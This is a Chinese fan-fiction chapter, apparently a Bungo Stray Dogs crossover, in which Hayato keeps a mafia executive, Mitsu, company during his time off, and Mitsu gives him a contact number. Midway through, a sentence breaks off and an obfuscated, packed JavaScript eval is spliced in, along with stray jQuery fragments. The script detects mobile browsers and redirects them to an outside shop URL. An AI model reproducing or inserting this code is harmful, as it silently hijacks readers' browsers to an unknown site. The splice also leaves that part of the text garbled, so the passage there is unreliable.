101.被说过分的干部
作品:《被正式确诊为渣男》 果然只会在夜里出门的弥津先生披着月色潜入黑暗中,不久后带回了一台笔记本电脑,还有一枚浪花形状的胸针。没有别在衣服上,而是装在口袋里。
究竟是不是以前在书店用的那台电脑,时间有点久了,苏枋隼飞也认不出来,没准只是同品牌同型号。屏幕上打开的界面标志不像普通网页,他自觉地扭过脑袋,换了个位置,不去关心弥津先生在和何人交流。
他坐到旁边的沙发上,无声地看着弥津先生手速极快地打字,仿佛回到了他还在风铃读书的时候,上学下学都能经过书店的平凡生活。
那些单纯又充满真挚感情的日子。
弥津先生有的是时间玩电脑游戏,毕竟连弥津先生本人也承认书店一直在亏钱,只是自己有点“积蓄”。他当时还抱有,只要亏到一定程度弥津先生就会认真经营书店的幻想,只不过,现在看来,弥津先生就算开一辈子亏本书店都不会花光那些积蓄。
不仅能拿啤酒当水喝,虽然嗓子不好,说不了话,只能靠打字或者手势交流,但哪都可以去。想去港口散步吹风随时可以,京成街的各种餐厅酒馆也对身份不明但没人在乎的弥津先生开放,仿佛天地之大任凭他去。
然而,现在就连回消息都只能见缝插针,想彻底的放松休息也全靠上司给他“放假”,被困在黑手党的世界,还担上了通缉犯的名号。他好像变成了三四年前的镜优先生和那位叫“水落”的先生,忍不住想说“你现在过的是什么生活”。原来只有经历过的人才能明白这种感觉。
弥津先生聚精会神地盯着电脑屏幕,没顾得上观察他的表情。他此刻最明智的选择就是一句话都不说地陪着在假期也得加班的弥津先生。
当别人在思考和专注处理其他事的时候,不去打扰是最大的尊重。
工作中的弥津先生是很少见的。重逢时的那种场面让人不忍回忆,弥津先生在他面前开枪的次数也是屈指可数。但想必担任要职的弥津先生少不了和同事交流……弥津先生不是常常把组织里的其他成员称为“同事”吗?现在也是在和“同事”聊些什么吧。
倒是给了他足够的自由去观察弥津先生的眼睛。
这两日他有太多机会去欣赏那双眼睛,弥津先生也不介意他坦然直视的视线。这双色彩热烈的眼睛着实漂亮,是他看千百遍都不会厌倦的清澈,但弥津先生身上的气质硬生生地削弱了别人欣赏这双眼眸的胆量。
这让他忽然想起以前发生过的很多事。
即使弥津先生并没有对他瞒过自己的真实身份,但对那样的世界知之甚少的自己对此并没有实感。没有把弥津先生和他自称的“杀人犯”等同,也想象不到弥津先生曾经犯下怎样的罪行。
现在他或许知道了,那是比一般人所想象的犯罪更复杂的东西。同样是为了利益——弥津先生认为如此——但区别正像是为了一千万美元的犯罪和十亿美元的犯罪吧,因为可以得到的收益更多,要承担的代价和危险也就越大。不过,只是相对来说大。如果普通犯罪者和能力者犯罪者面对同样的情况,显然是后者能做的事更多。
所以,弥津先生当年如果对找麻烦的人痛下杀手,似乎也完全“合理”,但弥津先生没有那么干,对棪堂哉真斗也算手下留情。不然,就以弥津先生如今的身份来看,把那家伙当场杀害也……在情理之中。
听着键盘敲击的轻微响声,他忍不住打了个哈欠。
弥津先生早就习惯熬夜了吧。
可现在好不容易有了名正言顺的“假期”……
“困了吗,”弥津先生停下敲键盘的手,扭头望着他,“不用一直等我的。”
嗯……毕竟已经接近凌晨一点了嘛。键盘的声音还有点催眠,想不犯困也难。
“睡吧。你只请了下午的假。”
欸?可是,不是还在和别人谈事情吗。
弥津先生的神色是一贯的平静,很难单从面部表情分析出弥津先生的态度。唯有捕捉那双眼睛里流露出的些许情绪波动,才能如愿了解他的想法。“明天再谈,他不急。就算他急也没用。”
弥津先生说这句话的时候语气十分好笑,像是手里捏着名贵财宝的卖家,又像一幅画有价无市的名家大师,不怕对方不搭理他。他又问,“是那些‘同事’吗?”
“嗯。”
最后敲了几个字出去,电脑屏幕上很快播放起关机画面。
苏枋隼飞从没这么喜欢过夜晚。
小夜灯一关,白日里的疲惫就都会被深不见底的暗色吞没。坏心情会随时间溜走,而好心情则会随自己入梦。在怀里抱着喜欢的人睡觉,就连噩梦也会在无意识的喜悦的冲击下变成美梦吧。
他耳边的呼吸声逐渐平稳,自己也快要在困意的敲打下躲进深层的幻梦。弥津先生什么都容许他做,虽然会因为他故意留下的痕迹语气严厉地警告他,但下次他再犯相同的“错误”,也不会用激进的手段真的惩罚没长记性的他。
他更想让弥津先生好好休息,那比满足个人私欲更让他开心。
*
前一晚没有熬得太厉害,养成多年的生物钟今早清晨又在差不多同一时刻唤醒了他。
弥津先生醒得也很早。但刚一打开昨天晚上随手放在沙发上的电脑,又合上电脑,脸色平淡地打算转身走回卧室。见他做好了出门的准备,回过头来说,“中午回来的时候……帮我买两瓶啤酒吧。”
之前随便买的那种就好。
嗯……
虽然心里觉得弥津先生喝酒不太好,但苏枋隼飞还是答应了。
那么,工作呢,不是说要今天再谈吗。
“我和他有时差。他没被暗杀掉的话,现在应该在睡觉。”
真是意料之外的毒舌。所以对方是谁呢,竟然有被暗杀的危险。
保持着这样的好奇心,他照常出门,却发现今日孤儿院里没有中岛敦的身影。
向来不会离开太久的人一整个上午都没有出现在孤儿院里。他向院长先生询问,得到了中岛敦“出远门”的回答。
“接下来一周的时间,敦君应该都不会回来,要忙别的事。”
欸?竟然一个礼拜都不在吗。那么,他也每日请半天假的话,分摊到别的职员身上的事务不是会更多吗。
“这倒是不用担心,直到新年前半个月,杂事都会很少。”
不在院长
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16972664|186252||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
室,反而是在医务室整理什么的院长先生问他,“最近,佐久间君没有和你说什么吗。”
最近?“没有呢。”
他们之间,只是日常对话吧。
难道弥津先生应该和他说什么吗?他心想。宅家休假中的弥津先生看起来一切正常,只是刚回来那天实在是疲惫。即使港口黑手党那边有重要得需要弥津先生亲自处理的事,正是因为解决掉了,才会有休假吧。这是弥津先生工作上的事,他就不必多此一举向院长先生透露了。
如果能一直过这样的生活就好了。中午回家,看到弥津先生在客厅里像前一晚那样敲键盘,他如此想道。
家里很暖和,弥津先生只穿着一身家居服。见他回来,似乎打算结束上午的工作了。
这样的日子还能再过两三天。
他看到弥津先生对着电脑屏幕笑了一下。转瞬即逝的笑容,心情还不错的样子。
怎么了,有什么好笑的事吗?
“有人顶着时差熬夜,说我不回消息很过分。我昨晚已经对他说了,我要休息。我可没命令他熬夜等我。”
八个小时的时差不是那么好克服的。
旗会的网站上甚至有显示对方何时上下线,但佐久间弥津仍然对自己的所作所为持坦荡态度。当时国内是凌晨一点,公关官也活得好好的,他为什么不能休息。依他来看,公关官也该早点睡觉准备迎接新的一天。
这是由工作性质不同导致的迥异心态。让公关官去习惯他的工作,难度和让他去干公关官的工作一样比富士山高。但特殊时期,双方都退一步吧,大不了他之后为公关官的演员事业砸点钱当赔礼。
苏枋隼飞听懂了一部分。
“弥津先生,你平时会有和别人意见不一样的时候吗。”
佐久间弥津点头,说道,“嗯……以前会经常有这种情况。”
这种事也不可避免吧,在任何行业都会出现。
过去和水落在欧洲部门工作的时候,在重大决策上无法说服对方是常有的事。可是最后总得做个决定出来吧,怎么可能一直拖着。所以,在当时很长一段时间内的解决办法都是准备两种计划,planA和planB,哪种出问题就换另一种。
现在,这种情况会比较少,原因是,“首领的办公室就在楼上。”
行动前的规划,他通常会和紫苑在优的办公室聊。优的办公室离电梯更近,也更有适合讨论问题的氛围,别人找不到他,还总会敲开优的办公室一探究竟。没准他也会在那边。时常会有别人加入讨论,最差的结果不过是讨论出数种差距小得可以忽略不计的方案。若是最终决定不了按哪种剧本走,他可以多走几步去首领办公室面谈。
“只要我的首领决定的事,就不会改变了。”
佐久间弥津把手伸向身边的人,“我给你手机里记个电话。”
电话?谁的。
“紫苑办公室的座机电话。他很少呆在办公室,但会有别人帮他记录通话。”
佐久间弥津把那串数字记在了手机备忘录里。
“以后遇到棘手的麻烦,可以去找他。工作忙起来的话……我可能会走不开。”

